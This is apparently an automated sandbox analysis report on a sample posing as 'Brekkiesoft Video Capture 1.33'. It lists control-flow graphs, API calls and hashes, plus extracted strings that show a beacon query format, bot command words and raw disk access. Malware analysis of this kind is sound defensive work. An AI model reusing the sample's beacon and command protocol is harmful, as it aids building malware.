                                                                                          control_flow_graph 656 2c7e9ac-2c7e9cf LoadLibraryA 657 2c7e9d5-2c7e9e3 GetProcAddress 656->657 658 2c7ea8f-2c7ea96 656->658 659 2c7e9e9-2c7e9f9 657->659 660 2c7ea88-2c7ea89 FreeLibrary 657->660 661 2c7e9fb-2c7ea07 GetAdaptersInfo 659->661 660->658 662 2c7ea3f-2c7ea47 661->662 663 2c7ea09 661->663 665 2c7ea50-2c7ea55 662->665 666 2c7ea49-2c7ea4f call 2c826df 662->666 664 2c7ea0b-2c7ea12 663->664 667 2c7ea14-2c7ea18 664->667 668 2c7ea1c-2c7ea24 664->668 670 2c7ea57-2c7ea5a 665->670 671 2c7ea83-2c7ea87 665->671 666->665 667->664 673 2c7ea1a 667->673 674 2c7ea27-2c7ea2c 668->674 670->671 672 2c7ea5c-2c7ea61 670->672 671->660 676 2c7ea63-2c7ea6b 672->676 677 2c7ea6e-2c7ea79 call 2c827c5 672->677 673->662 674->674 678 2c7ea2e-2c7ea3b call 2c7e6fb 674->678 676->677 677->671 683 2c7ea7b-2c7ea7e 677->683 678->662 683->661
                                                                                          APIs
                                                                                          • LoadLibraryA.KERNELBASE(iphlpapi.dll), ref: 02C7E9C2
                                                                                          • GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 02C7E9DB
                                                                                          • GetAdaptersInfo.IPHLPAPI(?,?), ref: 02C7EA00
                                                                                          • FreeLibrary.KERNEL32(00000000), ref: 02C7EA89
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3384850587.0000000002C71000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C71000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_2c71000_bsoftvideocapture33.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: Library$AdaptersAddressFreeInfoLoadProc
                                                                                          • String ID: GetAdaptersInfo$iphlpapi.dll
                                                                                          • API String ID: 514930453-3114217049
                                                                                          • Opcode ID: 96c9246ee8a2e3e4305e1650c1e66eabf46e58886df30b19bd3dfa0ca2a49524
                                                                                          • Instruction ID: 33a2909be60f8a9368dd22b706d05181055d85b811654257ee0a4795d0859e9e
                                                                                          • Opcode Fuzzy Hash: 96c9246ee8a2e3e4305e1650c1e66eabf46e58886df30b19bd3dfa0ca2a49524
                                                                                          • Instruction Fuzzy Hash: FE21E172E442099BDB11DBA9D8847EEBFB9BF45324F1441E9E504E7200EB309A46CBA0

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 684 2c7e8a8-2c7e8d3 CreateFileA 685 2c7e9a4-2c7e9ab 684->685 686 2c7e8d9-2c7e8ee 684->686 687 2c7e8f1-2c7e913 DeviceIoControl 686->687 688 2c7e915-2c7e91d 687->688 689 2c7e94c-2c7e954 687->689 692 2c7e926-2c7e92b 688->692 693 2c7e91f-2c7e924 688->693 690 2c7e956-2c7e95c call 2c826df 689->690 691 2c7e95d-2c7e95f 689->691 690->691 695 2c7e961-2c7e964 691->695 696 2c7e99a-2c7e9a3 CloseHandle 691->696 692->689 697 2c7e92d-2c7e935 692->697 693->689 700 2c7e966-2c7e96f GetLastError 695->700 701 2c7e980-2c7e98d call 2c827c5 695->701 696->685 698 2c7e938-2c7e93d 697->698 698->698 702 2c7e93f-2c7e94b call 2c7e6fb 698->702 700->696 703 2c7e971-2c7e974 700->703 701->696 708 2c7e98f-2c7e995 701->708 702->689 703->701 706 2c7e976-2c7e97d 703->706 706->701 708->687
                                                                                          APIs
                                                                                          • CreateFileA.KERNELBASE(\\.\PhysicalDrive0,00000000,00000007,00000000,00000003,00000000,00000000), ref: 02C7E8C7
                                                                                          • DeviceIoControl.KERNELBASE(00000000,002D1400,?,0000000C,?,00000400,?,00000000), ref: 02C7E905
                                                                                          • GetLastError.KERNEL32 ref: 02C7E966
                                                                                          • CloseHandle.KERNELBASE(?), ref: 02C7E99D
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3384850587.0000000002C71000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C71000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_2c71000_bsoftvideocapture33.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: CloseControlCreateDeviceErrorFileHandleLast
                                                                                          • String ID: \\.\PhysicalDrive0
                                                                                          • API String ID: 4026078076-1180397377
                                                                                          • Opcode ID: 0511193eb3f113bcd753401a972eca3884222157ce75820b2a26905e0920c4cc
                                                                                          • Instruction ID: 05983c1a9626d0c8f5579aae328e26445b3a2a9f60aab6f55a745b170eb0f147
                                                                                          • Opcode Fuzzy Hash: 0511193eb3f113bcd753401a972eca3884222157ce75820b2a26905e0920c4cc
                                                                                          • Instruction Fuzzy Hash: 15318273D00219ABDB24DF95D884BEEBBB8EF85754F2441A9E515A7280D7B05B00CB90

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 0 2c75df5-2c75e1f 1 2c75e21-2c75e31 0->1 2 2c75e6a-2c75e85 0->2 3 2c75e33-2c75e34 1->3 4 2c75e58-2c75e5e 1->4 5 2c75e88-2c75ec5 RtlInitializeCriticalSection GetModuleHandleA GetProcAddress GetModuleHandleA GetProcAddress 2->5 3->5 6 2c75e36-2c75e56 3->6 7 2c75ecc-2c760ed GetTickCount call 2c759fa GetVersionExA call 2c83760 call 2c81fbc * 8 GetProcessHeap RtlAllocateHeap GetProcessHeap RtlAllocateHeap GetProcessHeap RtlAllocateHeap call 2c83760 * 3 RtlEnterCriticalSection RtlLeaveCriticalSection call 2c81fbc * 4 QueryPerformanceCounter Sleep call 2c81fbc * 2 call 2c83760 * 2 5->7 8 2c75ec7 call 2c742c7 5->8 6->4 51 2c760f1-2c760f3 7->51 8->7 52 2c760f5-2c760fa 51->52 53 2c760fc-2c760fe 51->53 56 2c76105 Sleep 52->56 54 2c76100 53->54 55 2c7610b-2c76449 RtlEnterCriticalSection RtlLeaveCriticalSection 53->55 54->56 58 2c76465-2c7646f 55->58 59 2c7644b-2c76451 55->59 56->55 58->51 60 2c76475-2c76499 call 2c83760 call 2c7439c 58->60 61 2c76457-2c76464 call 2c7534d 59->61 62 2c76453-2c76455 59->62 60->51 69 2c7649f-2c764ca RtlEnterCriticalSection RtlLeaveCriticalSection call 2c8134c 60->69 61->58 62->58 72 2c76514-2c7652c call 2c8134c 69->72 73 2c764cc-2c764db call 2c8134c 69->73 78 2c767d3-2c767e2 call 2c8134c 72->78 79 2c76532-2c76534 72->79 73->72 80 2c764dd-2c764ec call 2c8134c 73->80 88 2c76827-2c76836 call 2c8134c 78->88 89 2c767e4-2c767e6 78->89 79->78 83 2c7653a-2c765e5 call 2c81fbc RtlEnterCriticalSection RtlLeaveCriticalSection call 2c83760 * 5 call 2c7439c * 2 79->83 80->72 87 2c764ee-2c764fd call 2c8134c 80->87 134 2c765e7-2c765e9 83->134 135 2c76622 83->135 87->72 103 2c764ff-2c7650e call 2c8134c 87->103 101 2c7684b-2c7685a call 2c8134c 88->101 102 2c76838-2c76846 call 2c75c12 call 2c75d20 88->102 89->88 93 2c767e8-2c76822 call 2c83760 RtlEnterCriticalSection RtlLeaveCriticalSection 89->93 93->51 101->51 114 2c76860-2c76862 101->114 102->51 103->51 103->72 114->51 117 2c76868-2c76881 call 2c7439c 114->117 117->51 122 2c76887-2c76956 call 2c81428 call 2c71ba7 117->122 132 2c7695d-2c7697e RtlEnterCriticalSection 122->132 133 2c76958 call 2c7143f 122->133 138 2c76980-2c76987 132->138 139 2c7698a-2c769f1 RtlLeaveCriticalSection call 2c73c67 call 2c73d7e call 2c77340 132->139 133->132 134->135 140 2c765eb-2c765fd call 2c8134c 134->140 136 2c76626-2c76654 call 2c81fbc call 2c83760 call 2c7439c 135->136 160 2c76656-2c76665 call 2c825f6 136->160 161 2c76695-2c7669e call 2c81f84 136->161 138->139 158 2c769f7-2c76a39 call 2c7972a 139->158 159 2c76b59-2c76b6d call 2c78008 139->159 140->135 147 2c765ff-2c76620 call 2c7439c 140->147 147->136 170 2c76b23-2c76b54 call 2c773ef call 2c733b2 158->170 171 2c76a3f-2c76a46 158->171 159->51 160->161 174 2c76667 160->174 172 2c766a4-2c766bc call 2c827c5 161->172 173 2c767c1-2c767ce 161->173 170->159 177 2c76a49-2c76a4e 171->177 186 2c766be-2c766c6 call 2c7873c 172->186 187 2c766c8 172->187 173->51 175 2c7666c-2c7667e call 2c81860 174->175 189 2c76683-2c76693 call 2c825f6 175->189 190 2c76680 175->190 177->177 181 2c76a50-2c76a95 call 2c7972a 177->181 181->170 195 2c76a9b-2c76aa1 181->195 188 2c766ca-2c7676e call 2c79854 call 2c73863 call 2c75119 call 2c73863 call 2c79afa call 2c79c14 186->188 187->188 216 2c76775-2c767a0 Sleep call 2c80900 188->216 217 2c76770 call 2c7380b 188->217 189->161 189->175 190->189 199 2c76aa4-2c76aa9 195->199 199->199 201 2c76aab-2c76ae6 call 2c7972a 199->201 201->170 207 2c76ae8-2c76b22 call 2c7c11c 201->207 207->170 221 2c767a2-2c767ab call 2c74100 216->221 222 2c767ac-2c767ba 216->222 217->216 221->222 222->173 224 2c767bc call 2c7380b 222->224 224->173
                                                                                          APIs
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3384850587.0000000002C71000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C71000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_2c71000_bsoftvideocapture33.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: _malloc$Heap_memset$CriticalSection$AllocateProcess$AddressEnterHandleLeaveModuleProcSleep$CountCounterInitializePerformanceQueryTickVersion
                                                                                          • String ID: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)$gpt=%.8x&advizor=%d&box=%d&hp=%x&lp=%x&line=%d&os=%d.%d.%04d&flag=%d&itd=%d$ntdll.dll$sprintf$strcat
                                                                                          • API String ID: 219686520-1038016512
                                                                                          • Opcode ID: 5783a1c4451cbfd5c08629513738db8f38fb4db48f3d451b3a191d053d670bdb
                                                                                          • Instruction ID: 1e50f250ff743e220deccde779e9681947e61d580ff7ad8ee968a699933ff3f9
                                                                                          • Opcode Fuzzy Hash: 5783a1c4451cbfd5c08629513738db8f38fb4db48f3d451b3a191d053d670bdb
                                                                                          • Instruction Fuzzy Hash: 7981D1B1D48380AFD711AF34AC09B5BBBE5AF85308F14492DF58897341EBB589168FD2

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 448 2c7642a-2c76449 449 2c76465-2c7646f 448->449 450 2c7644b-2c76451 448->450 451 2c76475-2c76499 call 2c83760 call 2c7439c 449->451 452 2c760f1-2c760f3 449->452 453 2c76457-2c76464 call 2c7534d 450->453 454 2c76453-2c76455 450->454 451->452 466 2c7649f-2c764ca RtlEnterCriticalSection RtlLeaveCriticalSection call 2c8134c 451->466 457 2c760f5-2c760fa 452->457 458 2c760fc-2c760fe 452->458 453->449 454->449 463 2c76105 Sleep 457->463 460 2c76100 458->460 461 2c7610b-2c7613a RtlEnterCriticalSection RtlLeaveCriticalSection 458->461 460->463 461->448 463->461 469 2c76514-2c7652c call 2c8134c 466->469 470 2c764cc-2c764db call 2c8134c 466->470 475 2c767d3-2c767e2 call 2c8134c 469->475 476 2c76532-2c76534 469->476 470->469 477 2c764dd-2c764ec call 2c8134c 470->477 485 2c76827-2c76836 call 2c8134c 475->485 486 2c767e4-2c767e6 475->486 476->475 480 2c7653a-2c765e5 call 2c81fbc RtlEnterCriticalSection RtlLeaveCriticalSection call 2c83760 * 5 call 2c7439c * 2 476->480 477->469 484 2c764ee-2c764fd call 2c8134c 477->484 531 2c765e7-2c765e9 480->531 532 2c76622 480->532 484->469 500 2c764ff-2c7650e call 2c8134c 484->500 498 2c7684b-2c7685a call 2c8134c 485->498 499 2c76838-2c76846 call 2c75c12 call 2c75d20 485->499 486->485 490 2c767e8-2c76822 call 2c83760 RtlEnterCriticalSection RtlLeaveCriticalSection 486->490 490->452 498->452 511 2c76860-2c76862 498->511 499->452 500->452 500->469 511->452 514 2c76868-2c76881 call 2c7439c 511->514 514->452 519 2c76887-2c76956 call 2c81428 call 2c71ba7 514->519 529 2c7695d-2c7697e RtlEnterCriticalSection 519->529 530 2c76958 call 2c7143f 519->530 535 2c76980-2c76987 529->535 536 2c7698a-2c769f1 RtlLeaveCriticalSection call 2c73c67 call 2c73d7e call 2c77340 529->536 530->529 531->532 537 2c765eb-2c765fd call 2c8134c 531->537 533 2c76626-2c76654 call 2c81fbc call 2c83760 call 2c7439c 532->533 557 2c76656-2c76665 call 2c825f6 533->557 558 2c76695-2c7669e call 2c81f84 533->558 535->536 555 2c769f7-2c76a39 call 2c7972a 536->555 556 2c76b59-2c76b6d call 2c78008 536->556 537->532 544 2c765ff-2c76620 call 2c7439c 537->544 544->533 567 2c76b23-2c76b54 call 2c773ef call 2c733b2 555->567 568 2c76a3f-2c76a46 555->568 556->452 557->558 571 2c76667 557->571 569 2c766a4-2c766bc call 2c827c5 558->569 570 2c767c1-2c767ce 558->570 567->556 574 2c76a49-2c76a4e 568->574 583 2c766be-2c766c6 call 2c7873c 569->583 584 2c766c8 569->584 570->452 572 2c7666c-2c7667e call 2c81860 571->572 586 2c76683-2c76693 call 2c825f6 572->586 587 2c76680 572->587 574->574 578 2c76a50-2c76a95 call 2c7972a 574->578 578->567 592 2c76a9b-2c76aa1 578->592 585 2c766ca-2c7676e call 2c79854 call 2c73863 call 2c75119 call 2c73863 call 2c79afa call 2c79c14 583->585 584->585 613 2c76775-2c767a0 Sleep call 2c80900 585->613 614 2c76770 call 2c7380b 585->614 586->558 586->572 587->586 596 2c76aa4-2c76aa9 592->596 596->596 598 2c76aab-2c76ae6 call 2c7972a 596->598 598->567 604 2c76ae8-2c76b22 call 2c7c11c 598->604 604->567 618 2c767a2-2c767ab call 2c74100 613->618 619 2c767ac-2c767ba 613->619 614->613 618->619 619->570 621 2c767bc call 2c7380b 619->621 621->570
                                                                                          APIs
                                                                                          • Sleep.KERNELBASE(0000EA60), ref: 02C76105
                                                                                          • RtlEnterCriticalSection.NTDLL(02CA4FD0), ref: 02C76110
                                                                                          • RtlLeaveCriticalSection.NTDLL(02CA4FD0), ref: 02C76121
                                                                                            • Part of subcall function 02C827C5: _malloc.LIBCMT ref: 02C827DD
                                                                                          • _memset.LIBCMT ref: 02C76481
                                                                                          • RtlEnterCriticalSection.NTDLL(02CA4FD0), ref: 02C764A4
                                                                                          • RtlLeaveCriticalSection.NTDLL(02CA4FD0), ref: 02C764B5
                                                                                          • _malloc.LIBCMT ref: 02C7653C
                                                                                          • RtlEnterCriticalSection.NTDLL(02CA4FD0), ref: 02C7654E
                                                                                          • RtlLeaveCriticalSection.NTDLL(02CA4FD0), ref: 02C7655A
                                                                                          • _memset.LIBCMT ref: 02C76574
                                                                                          • _memset.LIBCMT ref: 02C76583
                                                                                          • _memset.LIBCMT ref: 02C76593
                                                                                          • _memset.LIBCMT ref: 02C765A2
                                                                                          • _memset.LIBCMT ref: 02C765B1
                                                                                          • _malloc.LIBCMT ref: 02C7662B
                                                                                          • _memset.LIBCMT ref: 02C7663C
                                                                                          • _strtok.LIBCMT ref: 02C7665C
                                                                                          • _swscanf.LIBCMT ref: 02C76673
                                                                                          • _strtok.LIBCMT ref: 02C7668A
                                                                                          • _free.LIBCMT ref: 02C76696
                                                                                          • Sleep.KERNEL32(000007D0), ref: 02C7677A
                                                                                          • _memset.LIBCMT ref: 02C767F3
                                                                                          • RtlEnterCriticalSection.NTDLL(02CA4FD0), ref: 02C76800
                                                                                          • RtlLeaveCriticalSection.NTDLL(02CA4FD0), ref: 02C76812
                                                                                            • Part of subcall function 02C7873C: __EH_prolog.LIBCMT ref: 02C78741
                                                                                            • Part of subcall function 02C7873C: RtlEnterCriticalSection.NTDLL(00000020), ref: 02C787BC
                                                                                            • Part of subcall function 02C7873C: RtlLeaveCriticalSection.NTDLL(00000020), ref: 02C787DA
                                                                                          • _sprintf.LIBCMT ref: 02C7689C
                                                                                          • RtlEnterCriticalSection.NTDLL(00000020), ref: 02C76961
                                                                                          • RtlLeaveCriticalSection.NTDLL(00000020), ref: 02C76995
                                                                                            • Part of subcall function 02C75C12: _malloc.LIBCMT ref: 02C75C20
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3384850587.0000000002C71000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C71000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_2c71000_bsoftvideocapture33.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: CriticalSection$_memset$EnterLeave$_malloc$Sleep_strtok$H_prolog_free_sprintf_swscanf
                                                                                          • String ID: $%d;$<htm$Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)$auth_ip$auth_swith$block$connect$disconnect$idle$updips$updurls
                                                                                          • API String ID: 3337033272-2823103634
                                                                                          • Opcode ID: e7f74b2334139211012b65639e4217e815bdc95c903ffd58c5949b06b3430eb1
                                                                                          • Instruction ID: 5a1550fb6114ba07f34040530d172151f5a16dad2e391c557ce2dce00371b8c5
                                                                                          • Opcode Fuzzy Hash: e7f74b2334139211012b65639e4217e815bdc95c903ffd58c5949b06b3430eb1
                                                                                          • Instruction Fuzzy Hash: A91254716083819FE734EB24D844BAFBBEAAFC6718F14492DE48D87281EB709504DF52

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 624 401301-40135e FindResourceA 625 401360-401362 624->625 626 401367-40137d SizeofResource 624->626 627 401538-40153c 625->627 628 401386-4013fe LoadResource LockResource GlobalAlloc call 402490 * 2 626->628 629 40137f-401381 626->629 634 401407-40140b 628->634 629->627 635 40140d-40141d 634->635 636 40141f-401428 GetTickCount 634->636 635->634 638 401491-401499 636->638 639 40142a-40142e 636->639 640 4014a2-4014a8 638->640 641 401430-401438 639->641 642 40148f 639->642 643 4014f0-401525 GlobalAlloc call 401000 640->643 644 4014aa-4014e8 640->644 645 401441-401447 641->645 642->643 654 40152a-401535 643->654 648 4014ea 644->648 649 4014ee 644->649 646 401449-401485 645->646 647 40148d 645->647 651 401487 646->651 652 40148b 646->652 647->639 648->649 649->640 651->652 652->645 654->627
                                                                                          APIs
                                                                                          • FindResourceA.KERNEL32(?,0000000A), ref: 00401351
                                                                                          • SizeofResource.KERNEL32(00000000), ref: 00401370
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3383498631.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3383498631.000000000040B000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_400000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: Resource$FindSizeof
                                                                                          • String ID:
                                                                                          • API String ID: 3019604839-3916222277
                                                                                          • Opcode ID: 138cf1d2708028cd6e9096853fa836b610bce6da07ce657d635f6670e06ad364
                                                                                          • Instruction ID: b28a29316e79cb766f5da1f380b87f9e4da6436ce9bd12b8eed34f014587212c
                                                                                          • Opcode Fuzzy Hash: 138cf1d2708028cd6e9096853fa836b610bce6da07ce657d635f6670e06ad364
                                                                                          • Instruction Fuzzy Hash: 28810171D04258DFDF01CFE8D985AEEBBB0FB09315F1400AAE581B7262C3385A85DB69

                                                                                          Control-flow Graph

                                                                                          APIs
                                                                                          • GetVersion.KERNEL32 ref: 00402A46
                                                                                            • Part of subcall function 00403B64: HeapCreate.KERNELBASE(00000000,00001000,00000000,00402A7F,00000000), ref: 00403B75
                                                                                            • Part of subcall function 00403B64: HeapDestroy.KERNEL32 ref: 00403BB4
                                                                                          • GetCommandLineA.KERNEL32 ref: 00402A94
                                                                                          • GetStartupInfoA.KERNEL32(?), ref: 00402ABF
                                                                                          • GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00402AE2
                                                                                            • Part of subcall function 00402B3B: ExitProcess.KERNEL32 ref: 00402B58
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3383498631.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3383498631.000000000040B000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_400000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: Heap$CommandCreateDestroyExitHandleInfoLineModuleProcessStartupVersion
                                                                                          • String ID:
                                                                                          • API String ID: 2057626494-0
                                                                                          • Opcode ID: 5b516be980998e5fa11934bd411f48f35677f68372fd4b7f5b43ba3d9a21ae17
                                                                                          • Instruction ID: 77a0c2ab577daa94e22818ed769fd4cb67ba6910a5c0d3980e0314dd63f46b93
                                                                                          • Opcode Fuzzy Hash: 5b516be980998e5fa11934bd411f48f35677f68372fd4b7f5b43ba3d9a21ae17
                                                                                          • Instruction Fuzzy Hash: 31214CB19006159EDB14AFA6DE4AA6E7FA9EB04715F10413EF905BB2D1DB384900CA6C

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 738 40198a-40de3d lstrcmpiW 741 40de43 738->741 742 40d70e-40d71f 738->742 743 40dff3-40e032 lstrcmpiW 741->743 742->743
                                                                                          APIs
                                                                                          • lstrcmpiW.KERNELBASE(?,/chk), ref: 0040D724
                                                                                          • lstrcmpiW.KERNEL32(?,00409180), ref: 0040E02C
                                                                                          Strings
                                                                                          • C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe, xrefs: 0040DE43
                                                                                          • /chk, xrefs: 0040199B
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3383498631.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3383498631.000000000040B000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_400000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: lstrcmpi
                                                                                          • String ID: /chk$C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe
                                                                                          • API String ID: 1586166983-3809971158
                                                                                          • Opcode ID: 691c50e321b98545c19d258b88e019977b6961bc5940fb190cc7c97d89389527
                                                                                          • Instruction ID: 22d167a5fe3f1a7ec63d397ec4f56e2bb28dfc09fb7b3b27c1a8f36a126db77b
                                                                                          • Opcode Fuzzy Hash: 691c50e321b98545c19d258b88e019977b6961bc5940fb190cc7c97d89389527
                                                                                          • Instruction Fuzzy Hash: C3F08230A08111FFE7004BB48E48E297FA4AB187047254477E446F60D2C238991AB65E

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 745 2c71aa9-2c71ac3 InterlockedIncrement 746 2c71ac5-2c71ad7 WSAStartup InterlockedExchange 745->746 747 2c71add-2c71ae0 745->747 746->747
                                                                                          APIs
                                                                                          • InterlockedIncrement.KERNEL32(02CA529C), ref: 02C71ABA
                                                                                          • WSAStartup.WS2_32(00000002,00000000), ref: 02C71ACB
                                                                                          • InterlockedExchange.KERNEL32(02CA52A0,00000000), ref: 02C71AD7
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3384850587.0000000002C71000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C71000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_2c71000_bsoftvideocapture33.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: Interlocked$ExchangeIncrementStartup
                                                                                          • String ID:
                                                                                          • API String ID: 1856147945-0
                                                                                          • Opcode ID: 78a3989d4e66176141a57481380194b427067682282f8dfa7d4341b83d2422e9
                                                                                          • Instruction ID: f0d684aa607fcf690eb5826aaf02451307a8a6e60911e734a526a58b7a92989e
                                                                                          • Opcode Fuzzy Hash: 78a3989d4e66176141a57481380194b427067682282f8dfa7d4341b83d2422e9
                                                                                          • Instruction Fuzzy Hash: 35D05E71D842085FE22166A0AD1FB78776CD705766FC00761FE69C41C0EA92652085E6

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 748 4022d1-4022d2 749 402330-402331 748->749 750 4022d4-402306 748->750 752 402462-40dfec RegOpenKeyExA 749->752 750->749
                                                                                          APIs
                                                                                          • RegOpenKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders), ref: 0040DFE6
                                                                                          Strings
                                                                                          • Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 00402462
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3383498631.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3383498631.000000000040B000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_400000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: Open
                                                                                          • String ID: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
                                                                                          • API String ID: 71445658-2036018995
                                                                                          • Opcode ID: c21abcd7e49de27706c940ef665fe2c1f9b9f14b01b1d30bec55c2667b6a3713
                                                                                          • Instruction ID: 7c725377a91f9a6899016dc7e79351686839dde4cbe17531716ceaa51a7406bf
                                                                                          • Opcode Fuzzy Hash: c21abcd7e49de27706c940ef665fe2c1f9b9f14b01b1d30bec55c2667b6a3713
                                                                                          • Instruction Fuzzy Hash: FDD012105D9103E7F21416F11A5EB661758EB11B34B3084371E23B20D19DBC014BD42F

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 754 40232e-40dfec RegOpenKeyExA
                                                                                          APIs
                                                                                          • RegOpenKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders), ref: 0040DFE6
                                                                                          Strings
                                                                                          • Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 00402462
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3383498631.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3383498631.000000000040B000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_400000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: Open
                                                                                          • String ID: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
                                                                                          • API String ID: 71445658-2036018995
                                                                                          • Opcode ID: ab70778dd14fd6511949e4c96aa2217d1ebf54f786e49a136599424df556bb07
                                                                                          • Instruction ID: 3f7380d7349c1c8708a8fd334b50db486bf8e6c4beb8e0957c21f1fbc76b016d
                                                                                          • Opcode Fuzzy Hash: ab70778dd14fd6511949e4c96aa2217d1ebf54f786e49a136599424df556bb07
                                                                                          • Instruction Fuzzy Hash: 0CB09260658202F9E61006A20E4EF2616599710B14F70843B3A03B20C1C5F8444AE82F

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 758 403b64-403b82 HeapCreate 759 403b84-403b91 call 403a1c 758->759 760 403bba-403bbc 758->760 763 403ba0-403ba3 759->763 764 403b93-403b9e call 403f3b 759->764 766 403ba5 call 40478c 763->766 767 403bbd-403bc0 763->767 770 403baa-403bac 764->770 766->770 770->767 771 403bae-403bb4 HeapDestroy 770->771 771->760
                                                                                          APIs
                                                                                          • HeapCreate.KERNELBASE(00000000,00001000,00000000,00402A7F,00000000), ref: 00403B75
                                                                                            • Part of subcall function 00403A1C: GetVersionExA.KERNEL32 ref: 00403A3B
                                                                                          • HeapDestroy.KERNEL32 ref: 00403BB4
                                                                                            • Part of subcall function 00403F3B: HeapAlloc.KERNEL32(00000000,00000140,00403B9D,000003F8), ref: 00403F48
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3383498631.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3383498631.000000000040B000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_400000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: Heap$AllocCreateDestroyVersion
                                                                                          • String ID:
                                                                                          • API String ID: 2507506473-0
                                                                                          • Opcode ID: 0e50683ef5f87bfa7b7a3a131c3d96fe51d1ce1a964ea2283cbc2ce75e6f1d9c
                                                                                          • Instruction ID: 550f2133393d729a37de5e2391f12db29a8156ca4bb40a4077295a364e13fd94
                                                                                          • Opcode Fuzzy Hash: 0e50683ef5f87bfa7b7a3a131c3d96fe51d1ce1a964ea2283cbc2ce75e6f1d9c
